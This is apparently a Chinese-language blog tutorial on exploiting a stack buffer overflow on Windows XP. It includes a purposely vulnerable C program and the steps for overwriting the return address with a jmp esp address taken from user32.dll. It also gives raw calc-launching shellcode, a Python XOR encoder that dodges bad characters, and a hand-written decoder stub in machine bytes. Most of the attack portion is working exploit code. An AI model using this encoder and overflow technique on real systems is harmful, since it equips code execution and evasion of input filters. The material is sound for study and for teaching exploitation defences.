测试环境: windows xp
测试代码:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password){
	int authenticated;
	char buffer[44]; // local buffer
	authenticated = strcmp(password, PASSWORD);
	strcpy(buffer,password); // overflow
	return authenticated;
}
void main(){
	int valid_flag = 0;
	char password[1024];
	FILE *fp;
	LoadLibrary("user32.dll"); // load library
	if(!(fp=fopen("password.txt","rw+"))){
		exit(0);
	}
	
	fscanf(fp,"%s",password);

	valid_flag = verify_password(password);
	if(valid_flag){
		printf("errorerror!\n\n");
	}else{
		printf("okokokok!");
	}
	fclose(fp);
}

Windows Pwn - stack overflow

ESP总是指向系统栈,并且不会被溢出的数据破坏,函数返回时,ESP所指的位置是所覆盖的返回地址的下一个位置,其中0x0012FB24处是返回地址,0x0012FB28esp指向的位置,所以可以通过溢出覆盖函数返回地址为jmp esp

流程:
1、覆盖返回地址指令为: jmp esp
2、将shellcode放到返回地址后,返回地址前可用任意填充物(最好用0x90)

现在面临的就是如何得到jmp esp指令的地址,可以从一些系统dll里面搜索,比如利用msfpescan -f -j esp /media/psf/Home/user32.dll对user32.dll搜索jmp esp

Windows Pwn - stack overflow

这里使用0x77d29353作为利用

从github上找到一个calc的shellcode: https://github.com/peterferrie/win-exec-calc-shellcode

因为文件读取会受一些字符的影响,所以需要一个shellcode编码器,下面简单的写了一个shellcode编码生成器

black_list = "00 0a 0d ff 89 0b 0c 0d 1a 09"

shellcode = '''
31 D2 52 68 63 61 6C 63 54 59 52 51 64 8B 72 30 8B 76 0C 8B 76 0C AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 54 1F 24 0F B7 2C 17 42 42 AD 81 3C 07 57 69 6E 45 75 F0 8B 74 1F 1C 01 FE 03 3C AE FF D7 58 58 61 C3
'''.strip().split(" ")

# add 0x90 as end
shellcode.append('90')

for r_ in range(1, 255):
    tmp_ = ''
    for i_ in shellcode:
        now_value = eval("0x"+i_) ^ r_
        now_value = str(hex(now_value))[2:]
        if now_value in black_list:
            break
        if len(now_value) == 1:
            now_value = '0' + now_value
        tmp_ += '\\x' + now_value
    else:
        work_xor = str(hex(r_))
        print 'Xor Key: ', work_xor
        print 'Shell Code: ',tmp_,"\n"
        break
else:
    print 'Enc ShellCode Eroor!'
    exit()

print "Encode Shellcode:"
shell_enc_code = '''
"\\x8B\\xC4"
"\\x83\\xC0\\x16"
"\\x33\\xC9"
"\\x8A\\x1C\\x08"
"\\x80\\xF3\\{}"
"\\x88\\x1C\\x08"
"\\x41"
"\\x80\\xFB\\x90"
"\\x75\\xF1"
"{}"
'''.format(work_xor[1:],tmp_)

print shell_enc_code

print "Hex: "
print shell_enc_code.replace("\"","").replace("\n","").replace("\\x"," ").strip()

## shellcode decode :
#
# "\\x8B\\xC4"          // mov eax,esp
# "\\x83\\xC0\\x16"     // add eax,16H
# "\\x33\\xC9"          // xor ecx,ecx
# "\\x8A\\x1C\\x08"     // mov bl,byte ptr ds:[eax + ecx] 
# "\\x80\\xF3\\{}"      // xor bl,xxx
# "\\x88\\x1C\\x08"     // mov byte ptr ds:[eax + ecx],bl
# "\\x41"               // inc ecx
# "\\x80\\xFB\\x90"     // cmp bl,90h
# "\\x75\\xF1"          // jnz short decode

这里需要注意的几点是
1、当时按照书上的例子调试发现,一开始eax的值存在问题,指向不到正确的shellcode位置,所以在一开始的时候增加了mov eax,esp
2、循环xor decode的时候,为了方便设置了一个90h作为真正的shell code结尾符

Windows Pwn - stack overflow

Pwned!

Windows Pwn - stack overflow

分类:

技术点:

相关文章: